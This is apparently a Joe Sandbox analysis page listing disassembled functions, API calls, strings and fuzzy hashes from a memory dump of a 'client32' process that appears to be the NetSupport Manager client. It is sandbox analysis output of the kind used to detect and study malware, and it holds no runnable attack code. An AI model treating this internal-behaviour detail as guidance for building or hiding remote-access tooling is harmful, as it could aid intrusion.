Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateErrorEventFreeLastLoadProc
String ID: Kernel32.dll$QueueUserWorkItem
API String ID: 4285663087-4150702566
Opcode ID: d50a8dac8ccbab53729ea53da33bc6b9eacf9282e18db9930f8040b16a8e4b90
Instruction ID: f2f02a827eb8337154b6f90647cbee7355ef9528bb3155cd44b52246bb3bc4fa
Opcode Fuzzy Hash: d50a8dac8ccbab53729ea53da33bc6b9eacf9282e18db9930f8040b16a8e4b90
Instruction Fuzzy Hash: 7521E4B1D11638ABCB11CF99D988A9EFFB8FB49B14F10451BF511E2244C7B405018FA1

Function 110273F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11141240: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 111412AD
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,?), ref: 111412EE
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114134B

wsprintfA.USER32 ref: 1102741E

Part of subcall function 1113F8A0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,75BF8400,?), ref: 1113F937
Part of subcall function 1113F8A0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F957
Part of subcall function 1113F8A0: CloseHandle.KERNEL32(00000000), ref: 1113F95F

wsprintfA.USER32 ref: 11027448
ShellExecuteA.SHELL32(00000000,open,?,/EM,00000000,00000001), ref: 1102749B

Strings

"%sWINST32.EXE", xrefs: 11027442
"%sWINSTALL.EXE", xrefs: 11027418
open, xrefs: 11027494
/EM, xrefs: 11027488

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseExecuteHandleModuleNameShell
String ID: "%sWINST32.EXE"$"%sWINSTALL.EXE"$/EM$open
API String ID: 816263943-3387570681
Opcode ID: 474e4a5f26d8134d6f28c1743d0d9889b4922dd9f32edc34b04f7a1facad78e0
Instruction ID: 425802901d1907c5be7fd2b9c3bfd6c49e25210cb6f83e26e9bc69af70aaa39f
Opcode Fuzzy Hash: 474e4a5f26d8134d6f28c1743d0d9889b4922dd9f32edc34b04f7a1facad78e0
Instruction Fuzzy Hash: B411C875E0131EABDB11EBB5CC45FAAF7A89B04708F5041F5E91597181EB31B9048B91

Function 1108B240 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,00000000), ref: 1108B274
GetWindowThreadProcessId.USER32(00000000,04000000), ref: 1108B293
OpenProcess.KERNEL32(00000440,00000000,04000000,110EAA59,?,04000000,00000000,?,00000000,00000000,?,00000000,110EA93D,?,110EAA59,0000070B), ref: 1108B2A9

Strings

Progman, xrefs: 1108B250
Error. NULL hToken, xrefs: 1108B25B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessWindow$FindOpenThread
String ID: Error. NULL hToken$Progman
API String ID: 3432422346-976623215
Opcode ID: 059be4ecc652e061e66f05b14170a3aabe5fe35332d29859c985ce1771b9b1d6
Instruction ID: 4ee04209679d4ac62f627f7e7d6e091cb71ded9887b28b928329626620bf84cb
Opcode Fuzzy Hash: 059be4ecc652e061e66f05b14170a3aabe5fe35332d29859c985ce1771b9b1d6
Instruction Fuzzy Hash: 25119675E0122D9BD751DFA4D885BEEF7B8EF4C218F1081A9EE16E7240DB31A900C7A5

Function 110033B0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 110033BE
GetSubMenu.USER32(00000000,00000000), ref: 110033EA
GetSubMenu.USER32(00000000,00000000), ref: 1100340C
DestroyMenu.USER32(00000000), ref: 1100341A

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\annotate.cpp, xrefs: 110033CF, 110033F7
hMenu, xrefs: 110033D4
hSub, xrefs: 110033FC

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 4bbcc618e98ef98e9cc3961995019deef03965a6bc052ed1dd22c5c51f3fda12
Instruction ID: 24594387450efb2066981165f5525a36b814e5bc10ecad7e7e85ab1dcfd37f25
Opcode Fuzzy Hash: 4bbcc618e98ef98e9cc3961995019deef03965a6bc052ed1dd22c5c51f3fda12
Instruction Fuzzy Hash: 71F0E93AF4066677D61352666CC5F4FE66C8B91AA8F110071F614BA684EE11A80051EA

Function 110032C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 110032CD
GetSubMenu.USER32(00000000,00000000), ref: 110032F3
GetMenuItemCount.USER32(00000000), ref: 11003317
DestroyMenu.USER32(00000000), ref: 11003329

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\CTL32\annotate.cpp, xrefs: 110032DE, 11003304
hMenu, xrefs: 110032E3
hSub, xrefs: 11003309

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: 8e539d231b0ab8dca2ce90518cca292f254de65541413167144fb169119e5813
Instruction ID: d79372c4e35f96c7b6d882990e3a1748ca0edf213b09d886e21f34e7a2ab119d
Opcode Fuzzy Hash: 8e539d231b0ab8dca2ce90518cca292f254de65541413167144fb169119e5813
Instruction Fuzzy Hash: 56F0E93AF4052777C21352663C49F8FF6684B81BA8F154071F911B5645EE14640051E6

Function 110ED520 Relevance: 12.1, APIs: 8, Instructions: 129fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,08000080,00000000,?,00000000,00000000,?,00000000,00000000,00000000), ref: 110ED563

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 912ebd34f1d1380a87c8c5cba27fd19df60eae7bcd2f60170d1a9065acc2d3f0
Instruction ID: 402bb12deb77936e5eeacb062a8de3ed675085140f67c3334ce786458653fa44
Opcode Fuzzy Hash: 912ebd34f1d1380a87c8c5cba27fd19df60eae7bcd2f60170d1a9065acc2d3f0
Instruction Fuzzy Hash: 3141A772E012199FD710CFA9D885BAEF7F8EF84719F10856AE916DB240DB35E500CB91

Function 110ED140 Relevance: 12.1, APIs: 8, Instructions: 84filememoryCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,1112E5E6,00000000,?), ref: 110ED158
ReadFile.KERNEL32(00000000,00000000,0000000E,?,00000000,?,1112E5E6,00000000,?), ref: 110ED16D
GlobalAlloc.KERNEL32(00000042,-0000000E,00000000), ref: 110ED18F
GlobalLock.KERNEL32(00000000), ref: 110ED19C
ReadFile.KERNEL32(00000000,00000000,-0000000E,0000000E,00000000), ref: 110ED1AB
GlobalUnlock.KERNEL32(00000000), ref: 110ED1BB
GlobalUnlock.KERNEL32(00000000), ref: 110ED1D5
GlobalFree.KERNEL32(00000000), ref: 110ED1DC

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Global$File$ReadUnlock$AllocFreeLockSize
String ID:
API String ID: 3489003387-0
Opcode ID: ac9894072b1dc3d21a11d3d1ba5530177ea57d988780f7ec85b0a03793c60cba
Instruction ID: db3aae85cbeca24dbd9e457748b34ba45ed53121808abb5c6b0ad0e7882c1e57
Opcode Fuzzy Hash: ac9894072b1dc3d21a11d3d1ba5530177ea57d988780f7ec85b0a03793c60cba
Instruction Fuzzy Hash: C9218332A0111AAFD701DFA9C889BFEF7BCEB45219F1040ABFB05D6140DB34990187A2

Function 1113F2C0 Relevance: 12.1, APIs: 8, Instructions: 70windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1113F2CB
GetSubMenu.USER32(?,00000000), ref: 1113F2E8
GetMenuItemID.USER32(?,00000000), ref: 1113F309
GetMenuItemID.USER32(?,00000001), ref: 1113F312
GetMenuItemID.USER32(?,-00000001), ref: 1113F31C
DeleteMenu.USER32(?,00000001,00000400), ref: 1113F332
GetMenuItemID.USER32(?,00000001), ref: 1113F33A
DeleteMenu.USER32(?,-00000001,00000400), ref: 1113F351

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Item$Delete$Count
String ID:
API String ID: 1985338998-0
Opcode ID: db8ccf8eb5a065f9716819879bea2f70c374054ad31006cd5f0d5a6c3e74d67c
Instruction ID: 90b1ebb2a37eac89ef99d909188e48f60dab5b42f4deb930a222ec681177ebb5
Opcode Fuzzy Hash: db8ccf8eb5a065f9716819879bea2f70c374054ad31006cd5f0d5a6c3e74d67c
Instruction Fuzzy Hash: 3F117C7680421ABBE702DB618CC8AAEFB7CEFC566AF108029F695D2144E7749541CB63

Function 1103D330 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1103D3D1
_memmove.LIBCMT ref: 1103D3DE

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Part of subcall function 1103D0B0: Sleep.KERNEL32(000001F4,00000000,?), ref: 1103D0E1

Part of subcall function 110290F0: _strrchr.LIBCMT ref: 110291E5
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 11029224

Strings

PF%sinclude:*exclude:, xrefs: 1103D492
IsA(), xrefs: 1103D374, 1103D3A3, 1103D402, 1103D438, 1103D481, 1103D4EE, 1103D547, 1103D5D1, 1103D604, 1103D66E, 1103D6A5
redirect:, xrefs: 1103D4A8
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103D36F, 1103D39E, 1103D3FD, 1103D433, 1103D47C, 1103D4E9, 1103D542, 1103D5CC, 1103D5FF, 1103D669, 1103D6A0

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$ErrorLastMessageSleep_memmove_memset_strrchrwsprintf
String ID: IsA()$PF%sinclude:*exclude:$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$redirect:
API String ID: 118650250-3293259664
Opcode ID: 66963a07fdd48ad5343374cc5930b1efaa4cdf0d73e7a1f79842c8394509a8cf
Instruction ID: 8883845aa1adcb6b462271895c3eb4188d935db878da715d2f936e5278910226
Opcode Fuzzy Hash: 66963a07fdd48ad5343374cc5930b1efaa4cdf0d73e7a1f79842c8394509a8cf
Instruction Fuzzy Hash: 85B1D234E0195A9FDB06DF98CC90FEDB3B5AF89309F448154E82567380EB34A908CBD1

Function 1103D78A Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 270COMMON

Download Yara Rule

APIs

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

_memset.LIBCMT ref: 1103D7F1
_memmove.LIBCMT ref: 1103D7FE

Part of subcall function 110290F0: _strrchr.LIBCMT ref: 110291E5
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 11029224

Strings

IsA(), xrefs: 1103D794, 1103D7C3, 1103D822, 1103D854, 1103D8A6, 1103D932, 1103D965, 1103D9D6, 1103DA2C
include:*exclude:, xrefs: 1103D86A
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103D78F, 1103D7BE, 1103D81D, 1103D84F, 1103D8A1, 1103D92D, 1103D960, 1103D9D1, 1103DA27
, xrefs: 1103D9F0

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
